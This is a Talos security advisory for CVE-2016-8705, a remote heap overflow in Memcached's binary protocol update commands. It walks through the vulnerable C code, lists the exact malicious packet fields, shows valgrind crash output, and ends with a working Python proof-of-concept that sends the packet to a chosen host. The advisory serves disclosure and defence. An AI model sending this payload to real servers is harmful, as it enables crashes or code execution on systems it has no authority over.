Talos Vulnerability Report

TALOS-2016-0220

Memcached Server Update Remote Code Execution Vulnerability

October 31, 2016
CVE Number

CVE-2016-8705

Summary

Multiple integer overflows in process_bin_update function which is responsible for processing multiple commands of Memcached binary protocol can be abused to cause heap overflow and lead to remote code execution.

Tested Versions

Memcached 1.4.31

Product URLs

https://memcached.org/

CVSSv3 Score

9.8 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Details

Memcached is a high performance object caching server intended for speeding up dynamic web applications and is used by some of the most popular Internet websites. It has two versions of the protocol for storing and retrieving arbitrary data, an ASCII based one and a binary one. The binary protocol is optimized for size.

An integer overflow can be triggered by issuing a command that adds or replaces an existing key-value pair. The affected commands are: Set (opcode 0x01), Add (opcode 0x02), Replace (opcode 0x03) , SetQ (opcode 0x11), AddQ (opcode 0x12) and ReplaceQ (opcode 0x13) which all call into process_bin_update function.

While parsing a binary packet, the process ends up in the following switch case in memcached.c:

case PROTOCOL_BINARY_CMD_SET: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_ADD: /* FALLTHROUGH */
case PROTOCOL_BINARY_CMD_REPLACE:
    if (extlen == 8 && keylen != 0 && bodylen >= (keylen + 8)) {
        bin_read_key(c, bin_reading_set_header, 8);
    } else {
        protocol_error = 1;
    }

If any of the set,add and replace (or their quiet equivalents) is received a check is made before calling bin_read_key. It should be noted that keylen and bodylen are of type int and uint_32 respectively. In dispatch_bin_command:

int extlen = c->binary_header.request.extlen;
int keylen = c->binary_header.request.keylen;
uint32_t bodylen = c->binary_header.request.bodylen;

This is the first condition that must hold in order to reach the vulnerability. After reading the key, the process ends up in process_bin_update function where the integer overflow happens:

static void process_bin_update(conn *c) {
    char *key;
    int nkey;							[1]
    int vlen;							[2]
    item *it;
    protocol_binary_request_set* req = binary_get_request(c);

    assert(c != NULL);

    key = binary_get_key(c);
    nkey = c->binary_header.request.keylen;

    /* fix byteorder in the request */
    req->message.body.flags = ntohl(req->message.body.flags);
    req->message.body.expiration = ntohl(req->message.body.expiration);

    vlen = c->binary_header.request.bodylen - (nkey + c->binary_header.request.extlen); [3]

Notice that at [1] and [2] nkey and vlen are of type int and recall that bodylen is an unsigned integer. Because of the difference in signedness between bodylen and vlen an integer overflow can occur resulting in a negative value of vlen at [3]. The first required check has passed because integer promotions work in our favor, but in the second case, the final value of the arithmetic expression at [3] (an unsigned value) gets assigned to a signed value. The value in vlen is then used to allocate and store an item:

it = item_alloc(key, nkey, req->message.body.flags,
    realtime(req->message.body.expiration), vlen+2);

Function item_alloc is a wrapper around do_item_alloc which allocates the memory for the item and copies the key:

...
size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix); [1]
...
it = slabs_alloc(ntotal, id, &total_bytes, 0);				[2]

...
memcpy(ITEM_key(it), key, nkey);						[3]
it->exptime = exptime;
memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
it->nsuffix = nsuffix;

At [1], nkey corresponds to the specified key length and nbytes to the previously calculated vlen value. At [2] the total resulting value is used as the size for allocation which ends up being too small to hold the key which leads to a heap buffer overflow at [3]. At the time of the overflow, the contents of nkey and the contents of memory pointed to by key are under direct control of the attacker.

The following packet has all the conditions necessary to trigger the vulnerability:

MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H",0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0xffffffd0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I",0xe10)
body = "A"*1024

The value of extra_len must be 0x8 as it is directly checked. The value of body_len must be greater than key_len when compared as unsigned integers, key_len also has to be greater than 0. Other checks in the code constrain the value of body_len required to trigger the vulnerability to the 0xFFFFFFF0-0xFFFFFFFF range.

The vulnerability can be triggered multiple times, and can be abused to modify internal slab metadata. As such, it can also be abused to cause information leaks required for successful exploitation.

Crash Information

Simply sending the above packet triggers the heap overflow but doesn’t cause a direct crash. In order to observe the issue, the server can be run under valgrind which then results in the following crash:

<30 new auto-negotiating client connection
30: going from conn_new_cmd to conn_waiting
30: going from conn_waiting to conn_read
30: going from conn_read to conn_parse_cmd
30: Client using the binary protocol
<30 Read binary protocol data:
<30    0x80 0x02 0x00 0xfa
<30    0x08 0x00 0x00 0x00
<30    0xff 0xff 0xff 0xd0
<30    0x00 0x00 0x00 0x00
<30    0x00 0x00 0x00 0x00
<30    0x00 0x00 0x00 0x00
30: going from conn_parse_cmd to conn_nread
<30 ADD AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Value len is -306
==32759== Thread 3:
==32759== Invalid write of size 4
==32759==    at 0x402FCC2: memcpy (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==32759==    by 0x8059CB9: do_item_alloc (items.c:240)
==32759==    by 0x8050CBC: process_bin_update (memcached.c:2222)
==32759==    by 0x8050CBC: complete_nread_binary (memcached.c:2427)
==32759==    by 0x8050CBC: complete_nread (memcached.c:2484)
==32759==    by 0x80540AE: drive_machine (memcached.c:4656)
==32759==    by 0x40686B5: event_base_loop (in /usr/lib/libevent-2.0.so.5.1.9)
==32759==    by 0x805B1B8: worker_libevent (thread.c:380)
==32759==    by 0x40CB312: start_thread (pthread_create.c:310)
==32759==    by 0x41DAF2D: clone (clone.S:122)
==32759==  Address 0x459cc48 is 0 bytes after a block of size 1,048,560 alloc'd
==32759==    at 0x402B211: malloc (in /usr/lib/valgrind/vgpreload_memcheck-x86-linux.so)
==32759==    by 0x8056218: memory_allocate (slabs.c:538)
==32759==    by 0x8056218: do_slabs_newslab (slabs.c:233)
==32759==    by 0x8056295: do_slabs_alloc (slabs.c:328)
==32759==    by 0x8056843: slabs_alloc (slabs.c:584)
==32759==    by 0x8059B7D: do_item_alloc (items.c:180)
==32759==    by 0x8050CBC: process_bin_update (memcached.c:2222)
==32759==    by 0x8050CBC: complete_nread_binary (memcached.c:2427)
==32759==    by 0x8050CBC: complete_nread (memcached.c:2484)
==32759==    by 0x80540AE: drive_machine (memcached.c:4656)
==32759==    by 0x40686B5: event_base_loop (in /usr/lib/libevent-2.0.so.5.1.9)
==32759==    by 0x805B1B8: worker_libevent (thread.c:380)
==32759==    by 0x40CB312: start_thread (pthread_create.c:310)
==32759==    by 0x41DAF2D: clone (clone.S:122)
==32759==

Exploit Proof-of-Concept (optional)

import struct
import socket
import sys


MEMCACHED_REQUEST_MAGIC = "\x80"
OPCODE_ADD = "\x02"
key_len = struct.pack("!H",0xfa)
extra_len = "\x08"
data_type = "\x00"
vbucket = "\x00\x00"
body_len = struct.pack("!I",0xffffffd0)
opaque = struct.pack("!I",0)
CAS = struct.pack("!Q",0)
extras_flags = 0xdeadbeef
extras_expiry = struct.pack("!I",0xe10)
body = "A"*1024

packet = MEMCACHED_REQUEST_MAGIC + OPCODE_ADD + key_len + extra_len
packet += data_type + vbucket + body_len + opaque + CAS
packet += body
if len(sys.argv != 3):
	print "./poc_add.py <server> <port>"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1],int(sys.argv[2])))
s.sendall(packet)
print s.recv(1024)
s.close()

Timeline

2016-10-10 - Vendor Disclosure
2016-10-12 - Vendor Patched
2016-10-31 - Public Release

Credit

Discovered by Aleksandar Nikolic of Cisco Talos.